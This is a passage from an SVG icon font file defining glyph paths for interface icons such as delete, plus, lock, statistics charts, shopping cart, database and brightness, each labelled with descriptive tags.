		c-7.123,0-37.856-12.611-56.045-25.043L 120.96,149.226c 57.635,48.966, 123.917,77.661, 152.342,77.661c 23.677,0, 27.597-28.493, 15.792-72.33l-31.158-119.885
		c-5.51-21.19-3.158-28.493, 2.352-28.493c 7.123,0, 30.397,8.803, 53.29,27.059l 13.44-18.256C 270.995-42.048, 209.798-64, 186.122-64z" data-tags="info, about" />
<glyph unicode="&#xe3a3;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040c 118.787,0, 215.040,96.275, 215.040,215.040S 342.787,375.040, 224,375.040z M 339.718,275.674
		l-0.045,0.045C 339.674,275.696, 339.718,275.674, 339.718,275.674z M 60.39,160c0,90.362, 73.248,163.61, 163.61,163.61c 39.29,0, 75.354-13.843, 103.578-36.915
		L 97.328,56.467C 74.234,84.669, 60.39,120.71, 60.39,160z M 108.282,44.326l 0.045-0.045C 108.304,44.304, 108.304,44.304, 108.282,44.326z M 224-3.632
		c-39.29,0-75.331,13.866-103.533,36.938L 350.65,263.533c 23.094-28.202, 36.96-64.243, 36.96-103.533C 387.632,69.638, 314.339-3.632, 224-3.632z" data-tags="blocked, denied, forbidden" />
<glyph unicode="&#xe3a4;" d="M 403.2,316.8L 189.19,316.8 c-9.856,0-23.99-5.309-31.405-11.805L 5.555,171.805c-7.414-6.496-7.414-17.114,0-23.61l 152.23-133.213
	C 165.2,8.509, 179.334,3.2, 189.19,3.2L 403.2,3.2 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,272 C 448,296.64, 427.862,316.8, 403.2,316.8z M 340.278,70.4l-57.277,57.277L 225.77,70.4l-32.346,32.323
	L 250.678,160L 193.424,217.254L 225.77,249.6l 57.254-57.254L 340.278,249.6l 32.323-32.346L 315.37,160l 57.254-57.254L 340.278,70.4z" data-tags="erase, delete, remove, backspace" />
<glyph unicode="&#xe3a5;" d="M 340.458,182.4l-94.080,0 L 246.378,276.48 c0,12.365-10.013,13.44-22.4,13.44c-12.365,0-22.4-1.053-22.4-13.44L 201.578,182.4 L 107.52,182.4 c-12.387,0-13.44-10.035-13.44-22.4s 1.053-22.4, 13.44-22.4l 94.058,0 
		l0-94.080 c0-12.365, 10.035-13.44, 22.4-13.44c 12.387,0, 22.4,1.075, 22.4,13.44L 246.378,137.6 l 94.080,0 c 12.387,0, 13.462,10.035, 13.462,22.4S 352.845,182.4, 340.458,182.4z" data-tags="plus, add, sum" />
<glyph unicode="&#xe3a6;" d="M 340.458,182.4L 107.52,182.4 c-12.387,0-13.44-10.035-13.44-22.4s 1.053-22.4, 13.44-22.4l 232.938,0 c 12.387,0, 13.462,10.035, 13.462,22.4S 352.845,182.4, 340.458,182.4z" data-tags="minus, remove, delete, substract" />
<glyph unicode="&#xe3a7;" d="M 224,348.16c-103.936,0-188.16-84.269-188.16-188.16c0-103.936, 84.246-188.16, 188.16-188.16c 103.914,0, 188.16,84.246, 188.16,188.16C 412.16,263.914, 327.914,348.16, 224,348.16z
		 M 262.73,160l 68.566-68.566l-38.73-38.73L 224,121.27l-68.566-68.566l-38.707,38.73L 185.27,160l-68.544,68.544l 38.707,38.73L 224,198.73l 68.566,68.544
		l 38.73-38.707L 262.73,160z" data-tags="cross, cancel, close, remove, delete" />
<glyph unicode="&#xe3a8;" d="M 224,348.16c-103.936,0-188.16-84.269-188.16-188.16c0-103.936, 84.246-188.16, 188.16-188.16c 103.914,0, 188.16,84.246, 188.16,188.16C 412.16,263.914, 327.914,348.16, 224,348.16z
		 M 246.893,137.107l0-90.205 L 201.107,46.902 l0,90.205 L 110.88,137.107 L 110.88,182.893 l 90.205,0 L 201.085,273.12 l 45.808,0 l0-90.205 l 90.205,0 l0-45.808 L 246.893,137.107 z" data-tags="plus, add, sum" />
<glyph unicode="&#xe3a9;" d="M 224,348.16c-103.936,0-188.16-84.269-188.16-188.16c0-103.936, 84.246-188.16, 188.16-188.16c 103.914,0, 188.16,84.246, 188.16,188.16C 412.16,263.914, 327.914,348.16, 224,348.16z
		 M 337.12,182.893l0-45.808 L 110.88,137.085 L 110.88,182.893 L 337.12,182.893 z" data-tags="minus, subtract, remove, delete" />
<glyph unicode="&#xe3aa;" d="M 358.4,339.2L 89.6,339.2 C 64.96,339.2, 44.8,319.040, 44.8,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,294.4 C 403.2,319.040, 383.040,339.2, 358.4,339.2z M 292.566,52.726L 224,121.27
	l-68.566-68.566l-38.707,38.73L 185.27,160l-68.544,68.544l 38.707,38.73L 224,198.73l 68.544,68.544l 38.73-38.707L 262.73,160l 68.566-68.566L 292.566,52.726z" data-tags="cross, cancel, close, remove, delete" />
<glyph unicode="&#xe3ab;" d="M 358.4,339.2L 89.6,339.2 C 64.96,339.2, 44.8,319.040, 44.8,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,294.4 C 403.2,319.040, 383.040,339.2, 358.4,339.2z M 336,137.6l-89.6,0 l0-89.6 L 201.6,48 l0,89.6 L 112,137.6 L 112,182.4 l 89.6,0 L 201.6,272 l 44.8,0 l0-89.6 l 89.6,0 L 336,137.6 z" data-tags="plus, add, sum" />
<glyph unicode="&#xe3ac;" d="M 358.4,339.2L 89.6,339.2 C 64.96,339.2, 44.8,319.040, 44.8,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,294.4 C 403.2,319.040, 383.040,339.2, 358.4,339.2z M 336,137.6L 112,137.6 L 112,182.4 l 224,0 L 336,137.6 z" data-tags="minus, subtract, remove, delete" />
<glyph unicode="&#xe3ad;" d="M 321.418,89.395L 259.638,160l 61.779,70.605c 10.506,10.506, 10.506,27.53,0,38.013c-10.506,10.483-27.53,10.483-38.013,0L 224,200.723
		l-59.382,67.872c-10.506,10.506-27.53,10.506-38.013,0c-10.483-10.506-10.483-27.53,0-38.013L 188.362,160l-61.779-70.605
		c-10.483-10.506-10.483-27.485,0-37.968c 10.506-10.506, 27.53-10.506, 38.013,0L 224,119.277l 59.382-67.85c 10.506-10.506, 27.53-10.506, 38.013,0
		S 331.901,78.89, 321.418,89.395z" data-tags="cross, cancel, close, remove, delete" />
<glyph unicode="&#xe3ae;" d="M 185.808,3.2c-9.744,0-18.973,4.547-24.886,12.387L 80.864,121.27c-10.416,13.754-7.706,33.331, 6.048,43.747
			c 13.776,10.438, 33.331,7.706, 43.747-6.048l 52.662-69.53l 132.429,212.598c 9.117,14.627, 28.381,19.107, 43.030,9.99
			c 14.627-9.094, 19.107-28.381, 9.968-43.008L 212.33,17.917c-5.443-8.758-14.829-14.246-25.11-14.694C 186.749,3.2, 186.278,3.2, 185.808,3.2z" data-tags="checkmark, tick, correct" />
<glyph unicode="&#xe3af;" d="M 380.8,361.6L 179.2,361.6 C 154.56,361.6, 134.848,341.44, 134.848,316.8l0-67.2 L 179.2,249.6 L 179.2,316.8 l 201.6,0 l0-313.6 L 179.2,3.2 l0,44.8 L 134.848,48 l0-44.8 c0-24.64, 19.712-44.8, 44.352-44.8l 201.6,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 425.6,316.8 C 425.6,341.44, 405.44,361.6, 380.8,361.6z
	 M 224,61.44l 89.6,87.36l-89.6,87.36L 224,182.4 L 22.4,182.4 l0-67.2 l 201.6,0 L 224,61.44 z" data-tags="login, enter, sign in, log in" />
<glyph unicode="&#xe3b0;" d="M 246.87,3.2L 66.752,3.2 L 66.752,316.8 l 180.096,0 l0-67.2 L 291.2,249.6 L 291.2,316.8 c0,24.64-20.138,44.8-44.8,44.8L 67.2,361.6 C 42.56,361.6, 22.4,341.44, 22.4,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 179.2,0 c 24.662,0, 44.8,20.16, 44.8,44.8l0,44.8 l-44.33,0 L 246.87,3.2 z
	 M 425.6,148.8l-89.13,87.36L 336.47,182.4 l-201.6,0 l0-67.2 l 201.6,0 l0-53.76 L 425.6,148.8z" data-tags="logout, log out, sign out, exit, log off, quit, leave" />
<glyph unicode="&#xe3b1;" d="M 353.92,204.8L 313.6,204.8 L 313.6,258.56 C 313.6,323.453, 283.696,361.6, 224,361.6C 164.282,361.6, 134.4,323.453, 134.4,258.56L 134.4,249.6 l 44.8,0 L 179.2,267.52 C 179.2,299.888, 197.053,316.8, 224,316.8c 26.925,0, 44.8-16.912, 44.8-49.28L 268.8,204.8 L 89.6,204.8 
		C 77.213,204.8, 67.2,190.307, 67.2,177.92L 67.2,3.2 c0-12.32, 9.61-25.491, 21.325-29.277l 26.79-8.669C 127.053-38.509, 146.72-41.6, 159.040-41.6l 129.92,0 
		c 12.342,0, 32.010,3.091, 43.725,6.877l 26.79,8.669C 371.19-22.291, 380.8-9.12, 380.8,3.2L 380.8,177.92 C 380.8,190.307, 366.307,204.8, 353.92,204.8z" data-tags="lock-open, unlocked" />
<glyph unicode="&#xe3b2;" d="M 353.942,204.755L 313.6,204.755 l0,31.36 c0,64.893-29.882,103.040-89.6,103.040c-59.696,0-89.6-38.147-89.6-103.040l0-31.36 L 89.6,204.755 c-12.365,0-22.4-14.493-22.4-26.88l0-174.72 
		c0-12.32, 9.61-25.514, 21.325-29.277l 26.79-8.669c 11.715-3.786, 31.382-6.877, 43.725-6.877l 129.92,0 c 12.32,0, 32.010,3.091, 43.725,6.877l 26.79,8.669
		C 371.213-22.358, 380.8-9.165, 380.8,3.155l0,174.72 C 380.8,190.262, 366.307,204.755, 353.942,204.755z M 179.2,245.075c0,32.368, 17.875,49.28, 44.8,49.28
		c 26.947,0, 44.8-16.912, 44.8-49.28l0-40.32 L 179.2,204.755 L 179.2,245.075 z" data-tags="lock, password, encrypted, secure" />
<glyph unicode="&#xe3b3;" d="M 436.531,330.531l-103.69-168.918c-3.853-6.25-11.379-7.28-16.755-2.262l-50.131,46.95c-5.376,5.018-13.082,4.122-17.158-2.016
	l-70.403-106.176c-4.054-6.115-11.827-7.078-17.27-2.15L 128.352,125.885c-5.443,4.95-13.642,4.301-18.234-1.411l-103.242-128.755
	C 2.262-10.038, 4.525-14.72, 11.85-14.72l 431.67,0 L 443.52,328.56 C 443.542,335.93, 440.384,336.826, 436.531,330.531z" data-tags="graph, area, statistics, plot" />
<glyph unicode="&#xe3b4;" d="M 380.8,361.6l-49.28,0 C 319.155,361.6, 313.6,351.565, 313.6,339.2l0-380.8 l 89.6,0 L 403.2,339.2 C 403.2,351.565, 393.187,361.6, 380.8,361.6z M 246.4,227.2L 197.12,227.2 C 184.755,227.2, 179.2,217.165, 179.2,204.8l0-246.4 l 89.6,0 L 268.8,204.8 
	C 268.8,217.165, 258.787,227.2, 246.4,227.2z M 112,92.8L 62.72,92.8 C 50.355,92.8, 44.8,82.787, 44.8,70.4l0-112 l 89.6,0 l0,112 C 134.4,82.787, 124.365,92.8, 112,92.8z" data-tags="bars, statistics, graph" />
<glyph unicode="&#xe3b5;" d="M 200.838,334.765C 114.509,324.506, 46.099,256.074, 35.84,169.766l 164.998,0 L 200.838,334.765 z M 248.035,334.429l0-189.392 c0-12.41-10.058-22.467-22.49-22.467L 36.154,122.57 
	c 12.118-92.624, 91.235-164.147, 187.13-164.147c 104.294,0, 188.877,84.538, 188.877,188.877C 412.16,243.194, 340.637,322.31, 248.035,334.429z" data-tags="pie, chart, graph, statistics" />
<glyph unicode="&#xe3b6;" d="M 15.456,130.163l 30.531-7.571l 22.982,36.109L 25.29,169.52c-10.931,2.733-21.974-3.898-24.685-14.784
	C-2.106,143.894, 4.547,132.874, 15.456,130.163z M 413.974,124.339l-99.971-90.003l-117.555,90.966c-2.24,1.747-4.816,2.979-7.571,3.674
	l-15.658,3.853l-22.982-36.086l 24.618-6.070l 127.635-98.739c 3.696-2.89, 8.086-4.278, 12.499-4.278c 4.906,0, 9.811,1.747, 13.664,5.242
	l 112.605,101.36c 8.355,7.526, 8.982,20.339, 1.456,28.65C 435.21,131.216, 422.33,131.866, 413.974,124.339z M 194.522,223.146l 109.469-70.090
	c 9.229-5.891, 21.504-3.45, 27.754,5.533l 112.627,162.221c 6.384,9.229, 4.077,21.84-5.174,28.224s-21.93,4.054-28.336-5.152l-101.427-146.093
	L 199.293,268.304C 194.746,271.216, 189.213,272.202, 183.904,271.037S 174.003,266.669, 171.114,262.099L 3.181-1.526c-6.048-9.453-3.226-21.952, 6.272-27.955
	C 12.835-31.632, 16.621-32.64, 20.362-32.64c 6.742,0, 13.328,3.315, 17.203,9.408L 194.522,223.146z" data-tags="statistics, graph, plot" />
<glyph unicode="&#xe3b7;" d="M 403.2,294.4L 201.6,294.4 l0-112 l 224,0 L 425.6,272 C 425.6,284.365, 415.587,294.4, 403.2,294.4z M 22.4,48c0-12.387, 5.555-22.4, 17.92-22.4L 156.8,25.6 l0,112 L 22.4,137.6 L 22.4,48 z M 201.6,25.6l 201.6,0 c 12.387,0, 22.4,10.013, 22.4,22.4l0,89.6 L 201.6,137.6 L 201.6,25.6 z
		 M 22.4,272l0-89.6 l 134.4,0 L 156.8,294.4 L 40.32,294.4 C 27.955,294.4, 22.4,284.365, 22.4,272z" />
<glyph unicode="&#xe3b8;" d="M 88.592,381.917c-0.336,2.778-4.928,2.778-5.242,0C 71.904,289.741, 13.44,270.746, 13.44,206.682c0-39.581, 33.197-71.658, 72.531-71.658
	s 72.531,32.077, 72.531,71.658C 158.502,270.746, 100.038,289.741, 88.592,381.917z M 364.65,381.917c-0.358,2.778-4.906,2.778-5.242,0
	c-11.446-92.176-69.91-111.171-69.91-175.235c0-39.581, 33.197-71.658, 72.531-71.658S 434.56,167.101, 434.56,206.682C 434.56,270.746, 376.096,289.741, 364.65,381.917
	z M 221.379,182.893C 209.933,90.717, 151.469,71.744, 151.469,7.68c0-39.603, 33.197-71.68, 72.531-71.68s 72.531,32.099, 72.531,71.68
	c0,64.042-58.464,83.037-69.91,175.213C 226.285,185.693, 221.715,185.693, 221.379,182.893z" data-tags="droplets, water, rain" />
<glyph unicode="&#xe3b9;" d="M 282.262,162.979L 282.262,361.6 c0,12.365-10.035,22.4-22.4,22.4L 183.68,384 C 171.293,384, 165.76,373.965, 165.76,361.6l0-198.621 C 128.374,142.394, 103.040,102.634, 103.040,56.96
	c0-66.797, 54.163-120.96, 120.96-120.96s 120.96,54.163, 120.96,120.96C 344.96,102.634, 319.626,142.394, 282.262,162.979z M 224-19.2c-42.067,0-76.16,34.093-76.16,76.16
	c0,34.81, 23.386,64.064, 55.283,73.181L 203.123,294.4 l 44.8,0 l0-165.155 c 30.33-10.035, 52.259-38.595, 52.259-72.285C 300.16,14.893, 266.067-19.2, 224-19.2z" data-tags="thermometer, temperature" />
<glyph unicode="&#xe3ba;" d="M 224,70.4c-24.506,0-44.33-20.070-44.33-44.8S 199.494-19.2, 224-19.2c 24.483,0, 44.33,20.070, 44.33,44.8S 248.483,70.4, 224,70.4z M 129.92,120.621l 31.36-31.674
		c 34.63,34.989, 90.787,34.989, 125.44,0l 31.36,31.674C 266.112,173.126, 181.866,173.126, 129.92,120.621z M 67.2,183.99l 31.338-31.674
		c 69.283,69.978, 181.597,69.978, 250.88,0L 380.8,183.99C 294.202,271.462, 153.798,271.462, 67.2,183.99z M 4.48,247.338L 35.84,215.664c 103.936,104.966, 272.406,104.966, 376.32,0
		l 31.36,31.674C 322.291,369.821, 125.709,369.821, 4.48,247.338z" data-tags="signal, feed, news, broadcast" />
<glyph unicode="&#xe3bb;" d="M 44.845,321.302l0-53.043 c 158.726,0, 287.392-128.688, 287.392-287.414l 53.066,0 C 385.302,168.87, 232.87,321.302, 44.845,321.302z M 44.845,215.194l0-53.066 
		c 100.128,0, 181.306-81.155, 181.306-181.283l 53.021,0 C 279.171,110.25, 174.272,215.194, 44.845,215.194z M 95.693,82.541c-28.067,0-50.848-22.781-50.848-50.87
		s 22.781-50.848, 50.848-50.848c 28.090,0, 50.87,22.758, 50.87,50.848S 123.782,82.541, 95.693,82.541z" data-tags="rss, atom, feed" />
<glyph unicode="&#xe3bc;" d="M 109.894,125.459l 79.565-79.565l 145.981,145.981l-79.587,79.565L 109.894,125.459z M 427.952,234.726l-33.869,33.846
	c-6.474-3.494-13.821-5.51-21.706-5.51c-25.021,0-45.315,20.294-45.315,45.338c0,7.862, 1.971,15.254, 5.51,21.706l-33.869,33.846
	c-8.848,8.826-23.229,8.826-32.077,0L 20.048,117.35c-8.826-8.826-8.826-23.251,0-32.077l 33.869-33.869c 6.451,3.517, 13.843,5.51, 21.683,5.51
	c 25.043,0, 45.338-20.272, 45.338-45.315c0-7.862-1.994-15.254-5.533-21.706l 33.846-33.869c 8.826-8.826, 23.251-8.826, 32.077,0l 246.624,246.624
	C 436.755,211.475, 436.755,225.901, 427.952,234.726z M 189.459,9.494l-115.942,115.965l 182.381,182.358L 371.84,191.875L 189.459,9.494z" data-tags="ticket" />
<glyph unicode="&#xe3bd;" d="M 412.16,339.2L 35.84,339.2 C 28.426,339.2, 22.4,333.174, 22.4,325.76L 22.4,272 l 403.2,0 L 425.6,325.76 C 425.6,333.174, 419.574,339.2, 412.16,339.2z M 44.8,12.16C 44.8-5.088, 58.912-19.2, 76.16-19.2l 295.68,0 
	c 17.27,0, 31.36,14.112, 31.36,31.36L 403.2,249.6 L 44.8,249.6 L 44.8,12.16 z M 156.8,204.8l 134.4,0 l0-44.8 L 156.8,160 L 156.8,204.8 z" data-tags="box, package" />
<glyph unicode="&#xe3be;" d="M 89.6,3.2c0-24.73, 20.070-44.8, 44.8-44.8c 24.752,0, 44.8,20.070, 44.8,44.8s-20.048,44.8-44.8,44.8C 109.67,48, 89.6,27.93, 89.6,3.2z M 313.6,3.2c0-24.73, 20.070-44.8, 44.8-44.8
	c 24.752,0, 44.8,20.070, 44.8,44.8s-20.048,44.8-44.8,44.8C 333.67,48, 313.6,27.93, 313.6,3.2z M 169.053,109.107L 416.998,179.936C 421.725,181.302, 425.6,186.432, 425.6,191.36L 425.6,314.56 L 109.76,314.56 L 109.76,352.64 
	C 109.76,357.568, 105.75,361.6, 100.8,361.6L 31.36,361.6 C 26.432,361.6, 22.4,357.568, 22.4,352.64L 22.4,316.8 l 43.523,0 l 44.083-202.877L 114.262,92.8l0-33.6 c0-4.928, 4.032-8.96, 8.938-8.96L 134.4,50.24 l 224,0 l 58.262,0 
	C 421.568,50.24, 425.6,54.272, 425.6,59.2L 425.6,92.8 L 173.645,92.8 C 147.907,92.8, 147.37,102.88, 169.053,109.107z" data-tags="cart, shop, buy, purchase, ecommerce" />
<glyph unicode="&#xe3bf;" d="M 349.44,339.2L 322.56,272L 125.44,272 L 98.56,339.2C 81.312,339.2, 67.2,325.088, 67.2,307.84l0-340.48 C 67.2-49.888, 81.312-64, 98.56-64l 250.88,0 c 17.27,0, 31.36,14.112, 31.36,31.36L 380.8,307.84 
	C 380.8,325.088, 366.688,339.2, 349.44,339.2z M 304.64,294.4l 20.16,44.8l-48.832,0 L 259.84,384L 188.16,384 L 172.032,339.2L 123.2,339.2 l 20.16-44.8L 304.64,294.4 z" data-tags="clipboard, board" />
<glyph unicode="&#xe3c0;" d="M 344.96,254.058c-56.918,0-103.062-46.144-103.062-103.040c0-21.616, 6.675-41.664, 18.054-58.24L 188.048,92.778 C 199.405,109.354, 206.080,129.424, 206.080,151.040
	c0,56.896-46.144,103.040-103.040,103.040S0,207.936,0,151.040S 46.144,48, 103.040,48l 241.92,0 c 56.896,0, 103.040,46.144, 103.040,103.040S 401.856,254.058, 344.96,254.058z M 44.8,151.040
	c0,32.166, 26.074,58.24, 58.24,58.24s 58.24-26.074, 58.24-58.24c0-32.189-26.074-58.24-58.24-58.24S 44.8,118.851, 44.8,151.040z M 344.96,92.8c-32.189,0-58.262,26.051-58.262,58.24
	c0,32.166, 26.074,58.24, 58.262,58.24c 32.166,0, 58.24-26.074, 58.24-58.24C 403.2,118.851, 377.126,92.8, 344.96,92.8z" data-tags="voicemail" />
<glyph unicode="&#xe3c1;" d="M 374.685,96.384c-18.906-30.554-79.184-52.886-150.685-52.886c-71.456,0-131.779,22.333-150.662,52.886C 69.328,102.858, 67.2,99.386, 67.2,96.182
	c0-3.226,0-44.845,0-44.845C 67.2,7.904, 137.402-37.12, 224-37.12s 156.8,45.024, 156.8,88.458c0,0,0,41.619,0,44.845C 380.8,99.386, 378.65,102.858, 374.685,96.384z
	 M 374.909,210.96c-18.57-27.014-79.117-46.816-150.909-46.816s-132.339,19.802-150.909,46.816C 69.238,216.538, 67.2,213.514, 67.2,210.982c0-2.531,0-52.774,0-52.774
	c0-39.491, 70.202-71.478, 156.8-71.478s 156.8,31.987, 156.8,71.478c0,0,0,50.243,0,52.774C 380.8,213.514, 378.739,216.538, 374.909,210.96z M 224,357.12
	c-86.598,0-156.8-26.387-156.8-58.957l0-28.202 c0-34.541, 70.202-62.541, 156.8-62.541s 156.8,28, 156.8,62.541L 380.8,298.141 C 380.8,330.733, 310.598,357.12, 224,357.12z" data-tags="database, storage, server" />
<glyph unicode="&#xe3c2;" d="M 403.2,316.8L 44.8,316.8 C 20.16,316.8,0,296.64,0,272l0-224 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,272 C 448,296.64, 427.84,316.8, 403.2,316.8z M 403.2,48L 44.8,48 L 44.8,182.4 l 358.4,0 L 403.2,48 z M 403.2,249.6L 44.8,249.6 L 44.8,272 l 358.4,0 L 403.2,249.6 z
	 M 89.6,135.36L 89.6,121.92 l 13.44,0 L 103.040,135.36 L 89.6,135.36 z M 170.24,108.48L 170.24,95.040 l 26.88,0 L 197.12,108.48 L 210.56,108.48 l0,13.44 L 224,121.92 L 224,135.36 L 197.12,135.36 L 197.12,121.92 L 183.68,121.92 l0-13.44 L 170.24,108.48 z M 224,95.040L 224,108.48 L 210.56,108.48 L 210.56,95.040 L 224,95.040 z M 156.8,95.040
	L 156.8,108.48 L 129.92,108.48 L 129.92,95.040 L 156.8,95.040 z M 170.24,121.92l 13.44,0 L 183.68,135.36 L 156.8,135.36 l0-26.88 l 13.44,0 L 170.24,121.92 z M 116.48,108.48l 13.44,0 l0,13.44 l 13.44,0 L 143.36,135.36 L 116.48,135.36 L 116.48,121.92 L 103.040,121.92 l0-13.44 L 89.6,108.48 L 89.6,95.040 l 26.88,0 L 116.48,108.48 z" data-tags="credit card, card, checkout" />
<glyph unicode="&#xe3c3;" d="M 160.944-45.408c 17.674-11.424, 38.147-19.152, 63.056-18.547
	c 24.909-0.605, 45.36,7.123, 63.034,18.547L 287.034,0.96 L 160.944,0.96 L 160.944-45.408 z M 284.39,27.862c0,97.574, 103.734,128.8, 95.962,225.994
	C 375.469,315.187, 333.917,384, 224,384S 72.531,315.187, 67.648,253.856c-7.773-97.216, 95.939-128.419, 95.939-225.994L 284.39,27.862 z M 115.091,250.317
	C 119.75,308.534, 159.354,338.058, 224,338.058c 64.646,0, 104.25-29.523, 108.886-87.741c 2.531-31.875-15.792-53.133-40.544-87.942
	c-18.211-25.67-39.76-55.978-49.84-95.446L 205.475,66.928 c-10.080,39.469-31.606,69.754-49.862,95.446C 130.883,197.206, 112.56,218.442, 115.091,250.317z" data-tags="light-bulb, lamp, bulb, idea, tip" />
<glyph unicode="&#xe3c4;" d="M 356.205,258.56c-46.57,0-97.597-25.939-132.205-65.296C 189.392,232.621, 138.342,258.56, 91.773,258.56C 47.398,258.56,0,232.666,0,160
	s 47.398-98.538, 91.773-98.56l0,0c 46.592,0, 97.619,25.939, 132.227,65.296c 34.608-39.357, 85.635-65.296, 132.205-65.296C 400.602,61.44, 448,87.334, 448,160
	S 400.602,258.56, 356.205,258.56z M 91.773,100.864c-33.869,0-51.050,19.891-51.050,59.136s 17.181,59.158, 51.050,59.158c 37.453,0, 80.954-24.326, 107.654-59.158
	C 172.726,125.168, 129.248,100.864, 91.773,100.864z M 356.205,100.864c-37.453,0-80.954,24.304-107.654,59.136c 26.678,34.832, 70.202,59.158, 107.654,59.158
	c 33.891,0, 51.050-19.914, 51.050-59.158S 390.096,100.864, 356.205,100.864z" data-tags="infinity" />
<glyph unicode="&#xe3c5;" d="M 403.2,357.12L 44.8,357.12 c-24.64,0-44.8-20.16-44.8-44.8l0-246.4 c0-24.64, 19.757-48.765, 43.926-53.603l 97.933-19.578c0,0-84.291-29.859-29.859-29.859l 224,0 
	c 54.432,0-29.859,29.859-29.859,29.859l 97.933,19.578C 428.221,17.155, 448,41.28, 448,65.92l0,246.4 C 448,336.96, 427.84,357.12, 403.2,357.12z M 403.2,68.16L 44.8,68.16 L 44.8,316.8 l 358.4,0 L 403.2,68.16 z" data-tags="screen, desktop, computer, monitor, pc" />
<glyph unicode="&#xe3c6;" d="M 170.509,288.621c-8.221,7.728-19.331,7.728-27.574,0L0,160l 142.934-128.598c 8.243-7.75, 19.354-7.75, 27.574,0s 8.221,20.294,0,28.045
	L 59.539,160l 110.992,100.531C 178.73,268.282, 178.73,280.848, 170.509,288.621z M 305.066,288.621c-8.243,7.728-19.331,7.728-27.574,0
	c-8.221-7.773-7.795-20.317, 0.47-28.067L 388.461,160l-110.522-100.554c-8.243-7.75-8.691-20.294-0.47-28.045
	c 8.243-7.75, 19.331-7.75, 27.574,0L 448,160L 305.066,288.621z" data-tags="code, embed" />
<glyph unicode="&#xe3c7;" d="M 425.6,177.92c-4.077,0-17.898,0-21.952,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.077,0, 17.898,0, 21.952,0c 12.387,0, 22.4,8.019, 22.4,17.92
	S 437.987,177.92, 425.6,177.92z M 224,283.2C 155.68,283.2, 100.8,228.32, 100.8,160c0-68.342, 54.88-123.2, 123.2-123.2c 68.32,0, 123.2,54.858, 123.2,123.2
	C 347.2,228.32, 292.32,283.2, 224,283.2z M 226.24,70.4C 174.496,70.4, 134.4,110.496, 134.4,160c0,49.482, 40.096,89.6, 91.84,89.6L 226.24,70.4 z M 66.73,160c0,9.901-9.565,17.92-21.93,17.92
	c-4.144,0-18.278,0-22.4,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.122,0, 18.256,0, 22.4,0C 57.165,142.080, 66.73,150.099, 66.73,160z M 224,316.8
	c 9.878,0, 17.92,10.035, 17.92,22.4c0,4.099,0,18.301,0,22.4c0,12.365-8.019,22.4-17.92,22.4S 206.080,373.965, 206.080,361.6c0-4.099,0-18.301,0-22.4C 206.080,326.835, 214.122,316.8, 224,316.8z
	 M 224,3.2c-9.878,0-17.92-10.035-17.92-22.4c0-4.099,0-18.301,0-22.4c0-12.387, 8.019-22.4, 17.92-22.4s 17.92,10.013, 17.92,22.4c0,4.099,0,18.301,0,22.4
	C 241.92-6.835, 233.878,3.2, 224,3.2z M 388.976,299.642c 8.758,8.758, 10.17,21.526, 3.181,28.515s-19.757,5.578-28.493-3.181
	c-2.397-2.419-13.261-13.261-15.68-15.68c-8.758-8.758-10.17-21.504-3.181-28.493s 19.779-5.6, 28.515,3.158
	C 375.715,286.381, 386.579,297.222, 388.976,299.642z M 74.682,36.038c-2.419-2.419-13.261-13.283-15.68-15.68c-8.736-8.758-10.147-21.504-3.158-28.493
	c 6.989-6.989, 19.757-5.578, 28.493,3.158c 2.419,2.397, 13.283,13.261, 15.68,15.68c 8.758,8.758, 10.17,21.504, 3.158,28.493
	S 83.418,44.752, 74.682,36.038z M 84.358,324.998C 75.6,333.734, 62.854,335.168, 55.843,328.157S 50.266,308.4, 59.002,299.642
	c 2.419-2.419, 13.261-13.261, 15.68-15.68c 8.758-8.736, 21.504-10.17, 28.493-3.158s 5.6,19.757-3.158,28.493C 97.619,311.715, 86.778,322.579, 84.358,324.998z
	 M 347.962,10.682c 2.419-2.419, 13.283-13.283, 15.68-15.68c 8.758-8.736, 21.526-10.147, 28.493-3.158c 6.989,6.989, 5.578,19.757-3.158,28.493
	c-2.419,2.397-13.283,13.261-15.68,15.68c-8.758,8.736-21.526,10.147-28.515,3.158S 339.248,19.44, 347.962,10.682z" data-tags="adjust, contrast, lightness, brightness" />
<glyph unicode="&#xe3c8;" d="M 425.6,177.92c-4.077,0-17.898,0-21.952,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.077,0, 17.898,0, 21.952,0c 12.387,0, 22.4,8.019, 22.4,17.92
	S 437.987,177.92, 425.6,177.92z M 224,283.2C 155.68,283.2, 100.8,228.32, 100.8,160c0-68.342, 54.88-123.2, 123.2-123.2c 68.342,0, 123.2,54.858, 123.2,123.2
	C 347.2,228.32, 292.342,283.2, 224,283.2z M 224,70.4c-49.504,0-89.6,40.096-89.6,89.6c0,49.482, 40.096,89.6, 89.6,89.6s 89.6-40.118, 89.6-89.6C 313.6,110.496, 273.504,70.4, 224,70.4z M 66.73,160
	c0,9.901-9.565,17.92-21.93,17.92c-4.144,0-18.278,0-22.4,0c-12.365,0-22.4-8.019-22.4-17.92s 10.035-17.92, 22.4-17.92c 4.122,0, 18.256,0, 22.4,0
	C 57.165,142.080, 66.73,150.099, 66.73,160z M 224,316.8c 9.878,0, 17.92,10.035, 17.92,22.4c0,4.099,0,18.301,0,22.4c0,12.365-8.019,22.4-17.92,22.4S 206.080,373.965, 206.080,361.6
	c0-4.099,0-18.301,0-22.4C 206.080,326.835, 214.122,316.8, 224,316.8z M 224,3.2c-9.878,0-17.92-10.035-17.92-22.4c0-4.099,0-18.301,0-22.4c0-12.387, 8.019-22.4, 17.92-22.4
